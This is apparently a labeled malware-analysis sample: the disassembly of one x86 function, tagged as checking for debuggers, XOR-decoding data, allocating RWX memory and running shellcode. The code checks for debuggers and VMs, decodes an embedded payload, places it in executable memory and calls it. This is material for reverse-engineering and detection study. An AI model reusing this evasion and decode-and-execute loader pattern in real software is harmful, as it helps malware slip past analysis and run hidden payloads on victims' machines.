Function at 0x402260
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4232d0
mov eax, dword fs:[0]
push eax
sub esp, 0x350
mov eax, dword [0x42f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004021d0
test al, al
je 0x4022a1
mov edx, 0x42bb30
jmp 0x4024ea
call fcn.00402140
test al, al
je 0x4022b4
mov edx, 0x42bb48
jmp 0x4024ea
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4024e5
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
jne 0x4024e5
mov eax, 0x80000000
lea edi, [ebp - 0x35c]
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
cmp dword [ebp - 0x358], 0x564d5868
jne 0x40230c
mov edx, 0x42bb74
jmp 0x4024ea
mov ecx, 0xc7
mov dword [ebp - 0x334], 0
mov esi, 0x42bbe0
mov word [ebp - 0x340], 0xbbaa
lea edi, [ebp - 0x330]
mov byte [ebp - 0x33e], 0xcc
rep movsd dword es:[edi], dword [esi]
xor eax, eax
xor ebx, ebx
xorps xmm0, xmm0
mov dword [ebp - 0x34c], eax
movq qword [ebp - 0x33c], xmm0
mov edx, eax
movsw word es:[edi], word [esi]
mov ecx, eax
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 0x338], ebx
mov dword [ebp - 0x334], eax
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x340]
mov dword [ebp - 0x348], edx
lea esi, [ebp - 0x33d]
sub esi, edi
je 0x4023b6
push esi
lea ecx, [ebp - 0x33c]
call fcn.004054a0
mov ebx, dword [ebp - 0x33c]
push esi
push edi
push ebx
call fcn.00408d20
mov eax, dword [ebp - 0x334]
lea ecx, [esi + ebx]
mov edx, ebx
mov dword [ebp - 0x338], ecx
add esp, 0xc
mov dword [ebp - 0x348], edx
mov dword [ebp - 0x34c], eax
mov dword [ebp - 4], 0
xor esi, esi
xor eax, eax
mov dword [ebp - 0x358], esi
xor edi, edi
mov dword [ebp - 0x354], eax
sub ecx, edx
mov dword [ebp - 0x350], edi
mov dword [ebp - 0x344], ecx
je 0x402410
push ecx
lea ecx, [ebp - 0x358]
call fcn.004054a0
mov edi, dword [ebp - 0x344]
mov esi, dword [ebp - 0x358]
push edi
push dword [ebp - 0x348]
push esi
call fcn.00408d20
lea eax, [edi + esi]
add esp, 0xc
mov edi, dword [ebp - 0x350]
xor ecx, ecx
sub eax, esi
mov dword [ebp - 0x344], eax
nop word [eax + eax]
mov eax, ecx
xor edx, edx
div dword [ebp - 0x344]
mov al, byte [edx + esi]
xor byte [ebp + ecx - 0x330], al
inc ecx
cmp ecx, 0x31f
jb 0x402420
test esi, esi
je 0x40246b
sub edi, esi
mov eax, esi
cmp edi, 0x1000
jb 0x402461
mov esi, dword [eax - 4]
add edi, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40251e
push edi
push esi
call fcn.0040772e
add esp, 8
push 0x40
push 0x3000
push 0x31f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40249d
mov edx, 0x42bb20
mov ecx, 0x430138
call fcn.00404010
push eax
call fcn.004042b0
add esp, 4
jmp 0x4024b1
mov edi, eax
lea esi, [ebp - 0x330]
mov ecx, 0xc7
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call eax
test ebx, ebx
je 0x4024e1
mov ecx, dword [ebp - 0x34c]
mov eax, ebx
sub ecx, ebx
cmp ecx, 0x1000
jb 0x4024d7
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40251e
push ecx
push ebx
call fcn.0040772e
add esp, 8
xor eax, eax
jmp 0x402502
mov edx, 0x42bb64
mov ecx, 0x430040
call fcn.00404010
push eax
call fcn.004042b0
mov eax, 1
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004076eb
mov esp, ebp
pop ebp
ret
call fcn.0040df13
int3